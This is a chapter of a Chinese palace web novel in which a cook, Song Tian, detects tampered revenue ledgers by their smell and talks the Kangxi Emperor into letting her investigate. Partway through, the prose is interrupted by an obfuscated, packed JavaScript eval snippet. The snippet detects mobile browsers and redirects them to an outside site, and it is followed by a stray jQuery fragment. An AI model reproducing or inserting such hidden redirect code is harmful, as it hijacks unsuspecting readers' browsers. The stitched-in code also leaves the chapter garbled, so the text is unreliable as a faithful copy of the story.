宋甜一脚踏进御书房门槛,膝盖还带着戈壁滩上跪地熬汤的酸胀。
她没站稳,就被一股味儿顶得皱了眉。
不是炭火熏久了的焦气,也不是奏折堆多了的陈纸味,是种黏在鼻腔里甩不掉的腥——像死鱼搁在蒸笼里闷了三天,又混着点油膏子烧糊的腻。
康熙坐在案后,脸色比那味道还沉。
地上摊着几本账册,黄封面裂了口,边角卷得像炸过的春卷皮,他刚摔完一本,手还悬在半空,指节泛白。
“两百万两!”他声音压着火,“三年!户部尚书管的账,亏空两百万两!就这么堂而皇之摆在朕眼皮底下?”
宋甜没动。
她盯着那本离她最近的账册,封皮朝上,墨字写着“户部收支·康熙四十三年秋”。
可她的手指头痒。
不是饿了想翻锅盖那种痒,是舌尖突然发麻的感觉——就像尝到一道菜,明明看着寻常,却有一股不该有的腥气从喉咙底往上顶。
她慢慢蹲下,指尖碰了碰账册边缘。
纸面微潮,像是被谁的手心捂过太久。
“鲛鱼膏。”她脱口而出。
康熙一愣。
“五十两一罐,专用来护绸面、防虫蛀的。”她翻开一页,凑近闻了闻,眉头拧得更紧,“这页被人反复摸过,油都渗进纸背了。”
她抬眼看向龙座:“有人怕这页账出事,拿鲛鱼膏护着,还天天翻看。”
空气静了一瞬。
康熙盯着她:“你从纸上……闻出来的?”
“不止。”她把账册轻轻放回原位,“我翻的时候,指腹粘了一下,这种膏子擦在手上,半天去不掉味儿。
要是换作普通松油,烧出来是松香,可这味儿——”她吸了口气,“是海腥,带点腐臭,像搁浅的鱼肚子里流出来的水。”
康熙猛地站起身,大步走下来,弯腰拾起另一本账,翻了几页,忽然停住。
他指着其中一行:“这行字,墨色比旁处深。”
宋甜凑过去一看,心里咯噔一下。
那行写着“军粮采买·西北线”,数字后面多画了个小圈,像是无意勾到的,可墨迹晕开的形状……太圆了。
“有人改过。”她说,“用湿布擦掉原数,重写一遍。这圈是笔尖顿了一下留下的。”
康熙眼神冷了:“那就抓人!现在就去拿户部尚书!”
“不行!”她脱口而出。
话一出口,后脊梁就是一凉。
她低头看着自己还沾着辣椒粉的手,刚才那一嗓子,像是从灶台前吼偷吃的小太监惯了,根本没过脑子。
可她没收回。
“陛下,”她抬头,声音稳了些,“您现在抓他,他要么装傻,要么咬死是底下人干的。
那些真正经手的账房先生、库官、采买差役,转头就能逃的逃、灭口的灭口。咱们连根**都捞不着。”
康熙盯着她,目光像刀子刮过脸面。
她咽了口唾沫,继续说:“而且……这账有问题,不止一处。
您看这几本,都是秋冬季的,可春夏季的呢?还有兵部和内务府的往来单据呢?要是只查户部这一头,等于打草惊蛇,蛇跑了,洞还埋着。”
屋里安静得能听见烛芯爆响。
康熙缓缓坐回椅子,手指敲着扶手,一下,又一下。
“所以你打算怎么办?”他问。
“让我查。”她说,“三日内,给您交出真凶名单。”
“你?”康熙眯起眼,“你一个烧火丫头,懂账?”
“我不懂。”她坦然道,“但我懂‘味儿’。”
她伸手点了点自己的舌头:“有些东西,做过手脚,它就会留下痕迹。就像炖肉,盐放早了,肉柴;糖放晚了,味薄。
这些账,翻得太多的人手热,油汗浸进去,纸就变了性,改过的字,墨浮在表面,闻起来跟新写的不一样。
还有——”她顿了顿,“要是有人一边看账,一边吃东西,口水滴上去,干了也会有股馊味。”
康熙盯着她,忽然笑了。
不是冷笑,也不是讥笑,是那种憋了好久终于碰到一件荒唐事的笑。
“所以你是说,朕的户部尚书,一边看贪来的账,一边啃点心,还往上面流口水?”
“有可能。”她一脸认真,“要不就是紧张,手心出汗,一页一页地搓。”
康熙笑完,脸色又沉下去。
“你知道你在说什么吗?这是查国政,不是验一碗汤有没有咸淡。”
“可道理一样。”她直视着他,“您要的是真相,不是一场抓人秀,我要的是——让每一分钱的味道,都对得上它的去处。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497014|185968||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
康熙沉默良久。
外头传来更鼓声,一下,又一下。
他忽然开口:“**。”
门外太监应声而入。
“传旨:自今日起,户部近三年所有账册、单据、流水,尽数移送御书房东阁。任何人不得擅自调阅、誊抄、销毁。”
“是。”
“另,”他目光落在宋甜身上,“着宋氏女,暂代账目稽查事宜,赐出入腰牌,凡涉查账事务,六部衙门须配合供件。”
宋甜心跳快了一拍。
她没想到真能成。
可她没谢恩,反而问:“我能带锅进御书房吗?”
“什么?”
“煮东西的锅。”她说,“查账费神,我得做饭。不吃饱,舌头就不灵。”
康熙瞪她。
她眨眨眼:“您总不想我饿着肚子给您查出个错案吧?”
康熙抬手揉了揉太阳穴,挥了挥:“滚去领腰牌。锅……随便。”
她转身要走,又被叫住。
“宋甜。”
她回头。
康熙坐在光里,影子拉得老长。
“三日。”他说,“朕给你三日。若查不出东西,这些账,连同你,一起烧了。”
她点点头,走出门时,袖口的银镯蹭到门框,发出一声轻响。
风从廊下吹过来,带着点初春的寒气。
她转身朝御膳房走去。
得先弄口热饭。
不然待会儿翻账翻到半夜,胃该闹脾气了。
走到半路,她忽然停下。
回头看了眼御书房的窗。
灯还亮着。
她想起刚才那本被摔在地上的账册,封皮裂开的地方,露出一丝暗红的线头。
不像缝书用的线。
倒像是……从什么东西上扯下来的。
她没多想,加快脚步。
锅要洗,米要泡,还得熬一锅提神的姜枣茶。
查账,也是打仗。
只不过这一回,她的武器是勺子、锅铲,和一根不肯撒谎的舌头。
她拐过回廊,身影消失在夜色里。
御书房内,康熙仍坐在案前。
他拿起那本裂了封皮的账册,轻轻翻开。
第十七页,那个墨迹晕开的小圈下,压着一片极小的红色丝绒。